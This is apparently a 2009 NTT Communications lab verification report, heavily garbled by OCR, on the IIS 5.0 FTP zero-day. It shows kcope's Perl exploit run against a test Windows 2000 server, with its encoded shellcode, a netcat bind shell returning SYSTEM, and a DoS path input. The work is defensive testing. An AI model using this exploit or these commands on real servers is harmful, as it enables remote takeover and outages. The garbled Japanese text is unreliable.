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1. AEME

2009 4F 08 H 31 H. Microsoft £ IIS-FTP H—/X 5/6 52IZFL T? 0Day Dt F =T ¢

SIMEN ARSI,

MS-Windows 2000 Server SP4 H AZERRZ %52, ZOMagg D 2B SUWTRIGEL 755 5
ZZIZET,

> REEREADLET)DBMNETHD
> BRI T AV I NIA DM ETHHTD, T AL 7 MERRMERNVLIETHD
> FEERZR T AV NIADBEICAHFTEL QWD AT, T ALV 7 RIERRMERRIZI AR ECThH S
R RERCHDT20  FRNTAAET D ATREEITZRNEHB 2 TR
> A H—Fvh ECABRSIIZMEEa—RIX, HAGEMR D MS-Windows 2000 Server
SP4 THENMET S

E512 2009 4E 09 H 03 HIZABSHTZ IIS-FTP $-—/3? 0Day ¢ DoS %K 8|2 B THiFEL
TR R AZ IR T,

RREEHR(EA DL ET)RLETHD

WEERF Ot DBt A Bl S5 Z LS FTRE TdhH(DoS BER)

FHHIT 7B ABRIIK T LW -0, BERGTHIENARETHD

A B —F b ECARESNIMEET—RIX, H AGEKR D MS-Windows 2000 Server
SP4 THENMET S

YV V VY

2. IREEFERR
2.1. IRIEERIE

LU OBREE T, MAEE1To72,
® Microsoft Windows2000 Server H AGEM SP4 @ 11S5.0
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2.2. BREEAE R (NLST @ PoC)

PITF. MOXFy 7 arraBBEni-u,

BIED FTP H4 FOF DT« . 2 x|
FTP # b EF2UT1 PAOUN | Swb—3 | di—b F4LON | FLOM) 51051 |
TAT{ERENS Windows 2—H— A MEBIRLT{E
2 -y [IUSR_NTTGOM-VKGFKZEG S82(E).. |
JEAT = pEy: Immmmw
[ EaEmoasraTdal)
W IS (231420 - RO EsaT 35 M)
~FTP #1 k A8L—4
Windows 2—H'— FHIY MZOB 2O FTP A bR, —FEREAFTLES.
AR5 Administrators IBH0(D)... |
BIBR (R |
ok || b | omEe | oAz |
E22-1: ISOBRETREZERENEMICLE->TLS
REQD FTP HA b 21|
FTP # 1 | 320T ¢ POV | dwb=3 Fi—h FoUBN | FeLoh) 52051 |
O AN DI ERSN 0 T IDIBF:
G COTVEL-RHHT LINID)
C ENOIVEL-REREET LINL
~FTP #4 ®F 1 LHH)
Ok KAQ):  [c¥inetpub¥ftproot £82(B).. |
v _S3EmE
v 04 AW
~FALOMOFRTASA I
€ UNDKRIGO
& MS-DOS(R)ES)
ok | #etr | amme | s |

Bl 22-2:ISHEEETIE EFAHF] TEMTIELBEWVMS, CZTIEEMCHKET S
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GNOME #i*
274ME) REE) FRON) KD 7B ~VI(H)
localhost. localdomain(root):/root/z/iis5-ftp)_perl iiz5.pl 192,023 192,02 1

D}

11S 5.0 FTPd / Remote r00t exploit by kcope V1.2

220 nttcom-ykcpkzeg Microsoft FTP Service (Version 5.0).
331 Password required for anonimoos.

500 ‘PASS TOOWTOOW® —33+mVe&t SGZE8H! j ' j W—gwﬁ ST ) GO0 [ 4o HORG —GRNGDST 6 6k
GRAALG! G « VOB WOK / CRRRAAN GRAAx 1 -b_D0 " &GP UK\ ORI U7 Gkl +=D A “Nmz Bl A i
- B 040~ C>0. .HR' G mbb & & GoBGWN 084 - /GBK bO_r 6! &' Bz 63 ) —G0kE= | G086 TRRR ]

7
"1 6B t Uy PTG AN 70 _

O O S0 | LG5 | <50k B4 GBUNBLEE0 {6]6-6+ | B, nRuto

00| ROUGERG GR008 ZONER : GRACT
h&Bem@e-m@@®’ : command not understood

331 Password required for anonimoos.
500 "PASS TOOWTOOWE —S2-+mVet SGZGRET j I't ) Ho-gwl ST ) G+ 8RG8 [ 4o HOB —GRNEBDST F-6_04)
GRALG! G « VORI WOK / CRRAARN GRAAx 1 -b_D0 " &GP UK\ ORI U7 Mk +=D A “Nmz Bl A i
- B 040~ C>0. . HR' G mbb & & GoBGWN 04 - /GBK bOR_r 6! &' Bz 63 ) —00kE- | G0 0G-u6 TRRR ]

7
"1 6B t Uy PTG AN 20 _
_ O O S0 | LG5 | <50 B4 G3UNBLEE0 {6]6-6+ | B, nRuto
O 60| RUERY R0 ZONER : GRACZ
h@Bem@&- m@ky : command not understood
331 Anonymous access allowed, send identity (e-mail name) as password.
230 Anonymous user logged in.

[l

257 "w00t15272" directory created.

(«]

22-3:X22-1 £ 2.2-2 DERFEIRED 11S5.0 ITx L T,
A8 —%y FTRABRENTWSRIIO—FEEITT D

-~ GcnomeEmx

274M(E) RRE(E) FoR(V) KT £#F(B) ~WF(H)

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VWYYV VYV VYV VUV VY VYV (2]
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYUV VYWV VYV VYV VYV VYV VY
VVVVVVVVVVVVVVVVYVWYVWYVWYWWYY ' : command not understood

500 'SITE KSEXY&&&&&r & WY | 111CCCCCCQZVTX30VX4APOA3HHOAOOABAABTAAQ2AB2BBOBBXPSAC.
J 1E6MQHJKODOG2F 2B C2F 8HMFNGLEUQJ D4JOH8F 4POFPPWLKKJNODSJ JNOCEKWKOM7AAVVVVVVVVVVVY
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYUV VYV VYV VYV VYV VYV VYV VY
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYUV VYV VYV VYV VYV VYV VYV VY
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYUV VYV VYV VYV VVVVV VWV VY
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYUV VYV VYV VYV VYV VYV VWYV Y
VVVVVVVVVVVVVVVVVVVWVVVVWVVVWY 0 command not understood

500 'SITE KSEXY&&&&&r & WY | 111CCCCCCQZVTX30VX4APOA3HHOAOOABAABTAAQ2AB2BBOBBXPSAC.
J 1E6MQHJKODOG2F 2B C2F 8HMFNGLEUQJ D4JOH8F 4POFPPWLKKJNODSJ JNOCEKWKOM7AAVVVVVVVVVVVY
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VWV VYV VYV WV VYV VYV VYV VWYV Y
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VWV VYV VYV WV VYV VYV VYV VWYV Y
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYV VWV VYV VYV VYV VWV VY
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYV VWV VYV VYV VYV VYV VY
VVVVVVVVVVVVVVVVVVVWVVVVWWVVWY 0 command not understood

250 CWD command successful.

257 "CCCRUURUSUUUUGEBSEXYuBBaaaeec o 06 ~ 06 ~06 ~00 6 ok ~06 ~00 ~00 o ~
07 B 7 I B 7 7B 77 7B 7 7 7B et 7 Tl B i 7 7B 7

© “0% "6 o0 ECEEQREW 0 HHHHI | | 180 JKKKGCBBBNNNN" directory created.

200 PORT command successful.

150 Opening ASCI| mode data connection for file list.

G

22-4: X 22-3DFKE, ZOEE CHRIFD— FIXEFHEIREE Jké
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274ME) REE) FRV) WK £7(B) ~nIF(H)

localhost. localdomain(root):/root> nc —nvv 192.0.2.3 4444 =
Connection to 192.0.2.3 4444 port [tcp/*] succeeded!
Microsoft Windows 2000 [Version 5.00,2195]

(C) Copyright 1985-2000 Microsoft Corp

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration
Ethernet adapter GAAI[6)GH GGEARAYSH:

Connection-specific DNS Suffix

[P:Address: ¥ woavw & ovaes & e : 192,0.2.3
Subnet:Masksy woaw & wvans 8 8 : 255,255,255.0
“““““ 1 172.20.0,253

C:\WINNT\system32)>c:\sEtcDisp.exe | find “username”
c:\sEtcDisp.exe | find “username” —
username = SYSTEM

C:\WINNT\system32)]
®2.2-5:F22-4MD%. L 3—2N T ILT 4444/tcp [THEHT S tr

VINERMBTEIENTRETHS
Ffz. SO TILIE TSYSTEM] HERTEMEL TS Z L &#/ERLT:

C:¥Inetpub¥ftproot MF 4 L2+ 1)
2009/09/02

'U 1@@/ )’l)l/
S{ELFALY

') 7 JI¥ %.fw:@ FSFE-

C:¥Inetpub¥ftproot¥w00t15272 HF 4 L2 ~1)

®2u5l225®& FTP BT« LY FUDIIL— FIZIE,
ZDEIBETaLY FUBERENTLV:

Copyright 2009 NTT Communications Corporation
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EEEQ) FTP 4 hOF0/T 9
FTP 4 b | £%2UF¢ PHOUE | b=y Hi-b FAUIN | F400M) 252051 |
COUY-ANOIEEIF BN DI T Y OIB:

~FTP %4 +@F < LA
O—Hlb BAQ):  [c¥inetpub¥ftproot E62(B)..
v ZEHE R

[~ FEkd W)

v 0¥ PHEAW

T4 LD NOFRTARA )
" UNIX(RIGO
& MS-DOS(RIS)

21|

T e -

B 22-7:;kF TEEAH] FEIELT=,
11S5.0 DEXEDIKREETH S

GNOME i

Z74M(E) RRE(E) For(V) MHR(T) #F(B) ~WF(H)
localhost. localdomain(root):/root/z/iis5-ftp> per!| iiz5.pl 192.0.2.3 192.0.2.1

11S 5.0 FTPd / Remote r00t exploit by kcope V1.2

220 nttcom-ykcpkzeg Microsoft FTP Service (Version 5.0).
331 Password required for anonimoos.

500 'PASS TOOWTOOW® «—33+mVe&t SGZORE1 j |t j Ho-gwl €0T) 65 08%A [ #o7HOOH —GRNEGSN 6 6
BRRALEG © = VOR(WOK / CRAAIARN CRRAA: 1+ b DU &GP\ O 77 G Ak +=DBA “NmzBTA i
68 0410 C>0. . HR' GfmBb 6 G- GRBMN 084 - /BRK bE&_r) & sBz63)—0kkE- | 0686 U6 URRR |

“§1 080kt Uy RPG-4 40476 _

O O SO0 | LG-£ | S0kl B BUNGI0R0 (6] 66 - |6, nRuto
€100 RODERG GR0GE ZOHER : BRRCZ

héBem®e- m@&#& : command not understood

331 Password required for anonimoos.
500 "PASS TOOWTOOWG —33-+mVét SEZOGR j |4 ] |6-gnth 4T L0860 #aHEBH —BENEDST f 6 66
GRRALG © = VOR(WOK / CRAAIRN GRRRA: 1+ b DU~ G OP ORI\ O 77 G Ak +=DBA “NimzBTA
ae 0410 C>0. . HR' GfmBb G G- GRBMN =084 - /BEK bE&_r&) & sBz63)—0kki= | 6686 U6 URRR |

“F1 88y t Uy PG4 400410
O O SO L6-£ | <50k d BBUNBIGE0 (8|66« |6, nRuto

O 00| RUERG GROUG ZOHER : GRRCT
héBem®e- m@&#&' : command not understood
331 Anonymous access allowed, send identity (e-mail name) as password.

230 Anonymous user logged in

550 w00t5333: Access is denied.

B 2.2-8:K22-1&K2.2-7DERERED 11S5.0 [Zxf L T,
A8 —%y FTABRESNTWSRRIIO—FEEITT D
(BTA VIEHETWEN, TaLY FUDERIZERLTLVS)
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GNOME Mok
TZ74M(E) RE(E) FROV) KT £F(B) ~WI(H)

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VY (4
VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VYV VYV VYV VYV VWY
VVVVVVVVVVVVVVVVVVVVWVVVWWVVWY' : command not understood

500 'SITE KSEXY&&&&&r & WY1 111CCCCCCQZVTX30VX4APOA3HHOAOOABAABTAAQ2AB2BBOBBXPBAC)

J1E6MQHJKODOG2F 2BJC2F8HMFNGLEUQJ D4 OH8F 4POFPPWLKKJNOD5J JNOCEKWKOM7AAVVVVVVVVVVVY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VYV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VYV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VYV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VWYV VYV VYV VYV VWY

VVVVVVVVVVVVVVVVVVVVVVVVWWVWWY' : command not understood

500 'SITE KSEXY&&&&&r & WY 111 1CCCCCCQZVTX30VX4APOA3HHOAOOABAABTAAQ2AB2BBOBBXPSAC)

J 1E6MQHJKODOG2F 2BJC2F 8HMFNGLEUQJ D4 OH8F 4POFPPWLKKJNOD5J JNOCEKWKOM7AAVVVVVVVVVVVV

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VYV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VYV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VYV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VWV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVWVVVWWVVWY ' 0 command not understood

550 w00t5333: The system cannot find the file specified.

550 CCCOUURUSUUUUBEBBSEXYuBRAaatEc o6 ~ 00 66 ~00 06 ~60 ~06 ~ob ~00 00 o0 g
7 B 7 7 I 7 B e 7 B 7 7 B
“O& “O% O EEEEG0GW 0% HHHHI |||~ JKKKGcBBNNNN: Access is denied.

200 PORT command successful.

150 Opening ASCI| mode data connection for file list,

(LT

B229: 2280 E, CDEMETHRIED— FIIFHIKEEIZAS
= . GNOME W% EEE
Z74M(E) REE) FRNV) KT £27(B) ~nI(H)
localhost. localdomain(root):/root> nc —nvv 192.0.2.3 4444

nc: connect to 192.0,.2.3 port 4444 (tcp) failed: Connection refused
localhost. localdomain(root):/root) [

L=H=a W [IUSRINTTCOM-YKGPKZEG Z52(5)) |
JEAT =B Immmmm

I EREml g asters ol
¥ 15 (Z45 /A0 — e atel 2

~FTP 84k ARL=4%
Windows 2 =4~ PAINIDF. 2O FTP B4 bADAA L —2iERAEFTLES,

AR =D Administrators JBNN(D)... I
HIlFR (R I

ok | Fevtn | amme | oAz |
B 22-11: RIF TERER BARZEREILELL,

Copyright 2009 NTT Communications Corporation
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GNOME fh

Z74M(E) REE) BRNV) KT £27(B) ~nI(H)
localhost. localdomain(root):/root/z/iis5-ftp> perl iiz5.pl 192.0.2.3 192.0.2.1

11S 5.0 FTPd / Remote r00t exploit by kcope V1.2

220 nttcom—ykcpkzeg Microsoft FTP Service (Version 5.0),
331 Password required for anonimoos.

500 'PASS TOOWTOOWS —23+mV @t SEZER j |' | Ho-gwl T ) 60084 [ $aHUREG _BENGDST 6 66
G20 G = VORI WOK / CRRAAIN GARAYE 1 -b_D0 &GP\ O 77 OZ UM =D “Nmz BT A i
-8 040~ G0, | HR’ Gfmb6e G- GRRRMN 004 - /GRK b6 _r G & 6z 60— H BB UG- UC TR ]

7
" 1 680kv t By 0P OG- 400476 _ B

O O SO0 | LG | <0k B4 BBUNGIEE0 (6]6=6 « |6, nRuto

O 60| RUERG GROTG ZONER : GRACT
héBem@é- m@A&’ : command not understood

331 Password required for anonimoos.
500 'PASS TOOWTOOWS —23+mV @t SEZER j I' | Ho-gwl T ) 6 L00RA [ #oHURG _BENGDST 6 66
G20 G = VORI WOK / CRRAAIN GARAE 1 -b_D0 &GP\ O 77 OZ UMM+ =D “Nmz®IA i
-8 040~ C>0. | HR’ Gfmb6e G- GoRRmN 004 - /GRK b6 _r &) & 6z 60— H GRB UG- uC TR ]

4
“F1 080Vt Uy PG A4 Z6
G 0 SE0q | LG | <S80 D BBUnGIeR0 {(B|6-6 - |6, nRuto
G 06| RUERG GO0 ZONER : ACT

331 Password required for anonymous,

530 User anonymous cannot log in.
530 Please login with USER and PASS.

héBem@é- m@#&’ : command not understood |

[*]

(«IT

2.2-12: X 2.2-11 DERTFEIREED 11S5.0 [Tx L T.
A8 —%y FTABRESNTWSRIIO—FEEITT S
(A5 4 VBEKIZEKELTLD)

GNOME i

274M(E) REE) FTRN) RO £27(B) ~wI(H)

O 00| RUERG GROUG ZOHER : GRRCT

h&Bem@e- m@@&’ : command not understood
331 Password required for anonimoos.
500 "PASS TOOWTOOWS —33-+mVet SEZ08& j |' | Ho-gwl T ) 300K [ #o+HUEE —BENEDST f_6_66)
CRARA2G) 6 » VORI WOK ™/ CRARRASN CRAAAE 1 - b_DU " &GP GRAN\ O 77O GRAAe+=DORAS “Nmz G A |
% 8 O0#->--0-' C>0. . HR' GFfmBb &6 GOBEMN 004 - /GRK bER_r &) & s0z60 )00k SRBOE- U6 URER]

“§1 U8V t Uy P G-6 40416
O O/ S0 LG-£ | =500 & B3UnBI00 {666« |8, nRuto
O 00| RUERG GROUG ZOHER : GRRCT
h&Bem@e- m@@&’ : command not understood

331 Password required for anonymous.
530 User anonymous cannot log in.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
200 PORT command successful,
530 Please login with USER and PASS.

§ O S0HGq | LG-£ | <5 88U @ BOUNGHER0 (66=6 + |, nRuto[~]

(1

2.2-13: X 22-12 D=, COEE CHRIEO— FIXE#EIREE

= . . GNOME S5

I7ANE) REE) FRN) AT £7(B) ~I(H)

localhost. localdomain(root):/root> nc —nvv 192.0.2.3 4444
nc: connect to 192.0,2.3 port 4444 (tcp) failed: Connection refused
localhost. localdomain(root):/root>

Ab

X 2.2-14: X 2.2-13DEICHS—DD L T )L T 4444/tcp ITHERT 52 LIETER N

Copyright 2009 NTT Communications Corporation
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T GhomE mE
274M(E) REE) FR(N) WKROT) £27(B) ~F(H)
localhost. localdomain(root):/root/z/iis5-ftp) per! iiz5a.pl 192.0.2.3 192.0.2.1

11S 5.0 FTPd / Remote r00t exploit by kcope V1.2

220 nttcom-ykcpkzeg Microsoft FTP Service (Version 5.0).
331 Password required for anonimoos.

500 PASS TOOWTOOW® —22-+mVet SZORE j I' | H-gwl T ) 6+ L00RA [ 4o HODH _BENGDST 6 6k
GG G « VOR(WOK / CRRRARN GRAAx 1 -b_D0 " &GP UK\ O 77 U7 Gk +=D Kt “Nmz Bl A i
-8 0#-p-H0- C>0. . HR" BfmBb L G- GO0RN 004 - / GBK bER)_r 6! & 62060 ) BRI BRB UG- U6 TRAR ]

7
" 1 686kv t By BRPE- 0 400426 _ B

O 0 S0 | L2 | <5000 @3UnBI0E0 (6|66« |8, nRuto

O 60| RUERY GEOUH ZONER : GRACZ
héBem@&- @&y : command not understood

331 Password required for anonimoos.
500 'PASS TOOWTOO!@-—.‘@M;V&WZWIJ‘ F’%jl—@—gwﬁ ST ) G0 [ $oTHOR —GRNEpST 6 6k
GRAA2G! G « VBB WOK / CRRRARN GRAAE 1 -b_DU &GP UK\ O 77 U7 Ak +=D A “Nmz Bl A i
-8 040~ C>0. . HR' GfmBbOe G- GRRMN 064 - /GRK b&_r G & 6200 — ki B UG- uE AR ]

7
“§1 080Kyt GOy PG4 400416

O O S0 | LG-£ | <50k B4 GBUNBLEE0 {6]6-6+ | B, nRuto

O 60| RUERY GR0UH ZONER : GRACZ
héBem@&- m@@ky : command not understood

331 Anonymous access allowed, send identity (e-mail name) as password.
230 Anonymous user logged in.
500 'SITE KSEXY@&0&&r & WY | | | 1CCCCCCQZVTX30VX4APOASHHOAOOABAABTAAQ2AB2BBOBBXPSAC.

[l

D}

JIE6MQHJKODOG2F 2BJC2F 8HMFNGLEUQJD4JOHBF 4POFPPWLKK JNOD5J JNOCEKWKOM7AAVVVVVVVVVVVV |+ |

22-15: 226 DESKT4 LY FIMBRIZHHDT,
TEERAH] BILOIRET, 226 THIETEDTALIMIE
BARAYASELIICO—FZEBEL. TNERTLTH

GNOME ﬁfﬁi

[ SrAME) REE) BRW) HED 5B ~IH)

VVVVVVWVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VY 2

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VY

VVVVVVWVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYV VYWV VWYV VYV VYV VWV VY

VVVVVVVVVVVVVVVWVVWVVWVVWYWWVV' : command not understood

500 'SITE KSEXY&&&&&r & WY 11| 1CCCCCCQZVTX30VX4APOA3HHOAOOABAABTAAQ2AB2BBOBBXPBAC.

J 1E6MQHJKODOG2F 2B.JC2F 8HMFNGLEUQJ D4 OH8F 4POFPPWLKKJNOD5J JNOCEKWKOM7AAVVVVVVVVVVVY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VWV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYWV VWYV VYV UV VWV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYWV VWYV VYV UV VWV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VWV VY

VVVVVVVVVVVVVVVWVVWVVWVVWYWWVV' : command not understood

500 'SITE KSEXY&&&&&r & WY 11| 1CCCCCCQZVTX30VX4APOA3HHOAOOABAABTAAQ2AB2BBOBBXPBAC

J1E6MQHJKODOG2F 2B.JC2F 8HMFNGLEUQJ D4 OH8F 4POFPPWLKKJNOD5J JNOCEKWKOM7AAVVVVVVVVVVVY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VY

VVVVVVWVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV WV VWYV VYV VYV VYV VY

VVVVVVWVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV WV VWYV VYV VYV VYV VY

VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV VYV VYWV VWYV VYV VYV WV VY

VVVVVVWVVVVVWVVWVVWVVWVVWYWWVV' : command not understood

250 CWD command successful.

550 CCCEUURUSUUUUBEBBSEXYuBRAaatec o6 ~00 06 ~00 06 ~60 ~06 ~0b ~0h 00 oo g
O U O T 00 O 00 00 O 00 O 0 00 T 00 o 0 00 o
“0& O Ok EEEEG0N 08 HHHHI ||| "9 JKKKGcBBNNNN: Access is denied.

200 PORT command successful,

iSO Opening ASCI| mode data connection for file list,

22-16: ® 22-15 D#HEE, COEE CHREETI— FIXFRIREICAS
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GNOME Mk
Z74(E) RE(E) FR(VY) MWKRT) £2F(B) ~NT(H)
localhost. localdomain(root):/root> nc —nvv 192.0.2.3 4444 (4]

Connection to 192.0.2.3 4444 port [tcp/*] succeeded!
Microsoft Windows 2000 [Version 5.00,2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32)>c:\sEtcDisp.exe | find "username”
c:\sEtcDisp.exe | find "username”
username = SYSTEM

C:\WINNT\system32)>

22-17 K 22-16 D%, 15 —D20D LT 4d44/tcp T8 L =#5 8.
DFEY., BRIIHEHRBEFTOT LI L ERHNIE TEEFAA] HERIEDELGZWN EHLHERTED

= GNOME Hii% EEE)
2740(E) FRE(E) FTR(V) WK #7(B) ~LT(H)
localhost. localdomain(root):/root/z/iis5-ftp> perl iiz5a.pl 192.0.2.3 192.0.2.1
11S 5.0 FTPd / Remote r00t exploit by kcope V1.2
220 nttcom-ykcpkzeg Microsoft FTP Service (Version 5.0).
331 Password required for anonimoos.

A 500 'PASS TOOWTOOW® —22-+mV et SEZ081 j I' | Hi-gwl DT ) 6« L00RA [ $afHUREH NGB 6 66

GRAA2G! © = VOB(WOK / CRRAAAN GRRAsE 1 -b_>6 " &GP\ O 77 UL G+ =D UK “Nmz Bl A i

[v]

root D=L -8 04-p-10- C>0. . HR' GfmBb s G- GBROWN 084 - /GRK bB&_r 6§ 56260 ) -0k H BB 0G- U6 BBER
17
(<) “§168%Kv t Gy BRPG-U 400420 _
‘ _ O O SO0 | LG5 | <$ 0k B BRUNGeR0 (6] 66 - |6, nRuto
00| ROGERG GR006 ZONER : GRACT
0 GNOME e o =Ee! understood
Z740(E) RE(E) FR(V) MK #7(B) ~WF(H) [MFFHW#%SE{—@_@
localhost. localdomain(root):/root> nc —nvv 192.0.2.3 4444 | poRAA =D “Nmz &l A
nc: connect to 192.0.2.3 port 4444 (tcp) failed: Connection refused 03 )-URRIZH B Y- UG UAR]

localhost. localdomain(root):/root> [

o0 (6|66 - |6, nRuto

h&Bem@é-mGkds' : command not understood

331 Password required for anonymous.
530 User anonymous cannot log in

530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.

22-18: X 51T TELER 221 L THIGE,
Exploit AT L TLVELY, BIFY BT A U LAETAEESGZLS LK

|

(oI

Copyright 2009 NTT Communications Corporation
11



N'T T Communications

SR-20090411

2.3. BRAERS R (DoS)

LR MOFv7arzBBEni-u.,

ex O E F0UFE - fip iis-ftp

C:¥ftp iis-ftp

Connected to iis-ftp.

220 home-81i | 14ixby Microsoft FTP Service (Version 5.0).
User (iis-ftp:(none)): administrator

331 Password reauired for administrator.

Password:

230 User administrator lozzed in.

ftp> dir

200 PORT command successful .

150 Opening ASCI] mode data connection for /bin/ls.
09-08-09 04:53PM <DIR> w00t

226 Transfer complete.

ftp: 45 bytes received in 0.00Seconds 45000.00Kbytes/sec.
fip> pud

257 "/ is current directory.

231 EDV 4 F0EE> THEGKEBZIERT S
e JY K F0L7 T - fip iis-ftp

C:¥ftp iis-ftp

Connected to iis-ftp.

220 home-81j | 14ixby Microsoft FTP Service (Version 5.0).
User (iis-ftp:(none)): anonymous

331 Anonvmous access al lowed, send identity (e-mail name) as password.
Password:

230 Anonymous user lozzed in.

ftp> dir

200 PORT command successful .

150 Opening ASCII mode data connection for /bin/ls.
09-08-09 04:58PM <DIR> w00t

226 Transfer complete.

ftp: 45 bytes received in 0.00Seconds 45000.00Kbytes/sec.
ftp> Is 7R wr/../ "o

B232:K23-1DREDEFE. SEFIFETAENEDD AV EDEFEST

E£Z0J 4L, DOSHEZETTS
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ex JT K 2007 - fip iis-ftp

x/. . /w00t

../w00t:

L/w00t:

x/ . /w00t

x/. . /w00t

/. /w00t :

x/. . /w00t

x/ . /w00t

/w00t :

L /w00t :

x/. . /w0t

HEHR(

B233:K23-20#ER, TETAEED FTPERTAFERTLTLS
=1o[x]

ev JY R 20V - fip dis-ftp

220 home-81j114ixby Microsoft FTP Service (Version 5.0).
User (iis-ftp:(none)): administrator

331 Password reauired for administrator.

Password:

230 User administrator lozzed in.

ftp> dir

200 PORT command successful .

150 Opening ASCII mode data connection for /bin/ls.
09-08-09 04:58PM <DIR> w00t

226 Transfer complete.

ftp: 45 bytes received in 0.00Seconds 45000.00Kbytes/sec.
ftp> puwd

257 “/” is current directory.

l Connect ion closed by remote host.
P> open |is-

Connected to iis-ftp.

220 home-81j114jxby Microsoft FTP Service (Version 5.0).
8lUser (iis-ftp:(none)): administrator

331 Password reauired for administrator.

Password:

230 User administrator lozzed in.

ftp> pwd

257 "/ is current directory.

ftp>

B23-4:K233DFBDERIDD > Frod Tdir] O< > FETEIC
UBrasnf-C L EERA LT,
LML, openaVY Y FTHEERL, Y—EXEZIT52ENTEETHS
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3. IRAL{ERE

NTT a2 =A—3 g ARt
IT v R VA M —EAFET R N — 7~ XA M —E R
X aT g FR— g A —

(S NE =y

4. B%E

® SANS Microsoft IIS 5/6 FTP 0Day released
http://isc.sans.org/diary.html?storyid=7039

® +tXxal)T4/H—IL memo
http://www.st.ryukoku.ac jp/"kim/security/memo/#20090901_IIS

® AUHA—RYN AU TFA—13Y H—ERD FTP Y—ERDMH KXY, JE—+TI—F
MNEITEND (FA470Y Tk X2 T4 7RAAH1) (975191)
http://www.microsoft.com/japan/technet/security/advisory/975191.mspx

® milwOrm (Microsoft IIS 5.0/6.0 FTP Server (Stack Exhaustion) Denial of Service)
http://www.milwOrm.com/exploits /9587

® CVE-2009-3023
http://cve.mitre.org/cgi—bin/cvename.cgi?name=CVE-2009-3023

® CVE-2009-2521
http://cve.mitre.org/cgi—bin/cvename.cgi?name=CVE-2009-2521

5. BE

® 2009409 H 03 H : verl.0 H#IDLARH

® 2009409 A 09 H : verl.1 DoS B (B4 D iEN A &80,
(2.3 FRAEARS S (DoS) ) 23BN
[4 5% D URL 2\ <-O0EN

6. RPThR D 2B URL

http://www.icto jp/security_report/index.html
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7. ZLR—METHEEEE

NTT 23a=4—3ar Akt
IT v R VA M —EAFET R N — 7~ XA M —E 5
X VT F R —g A —

e-mail: scan@ntt.com

U E
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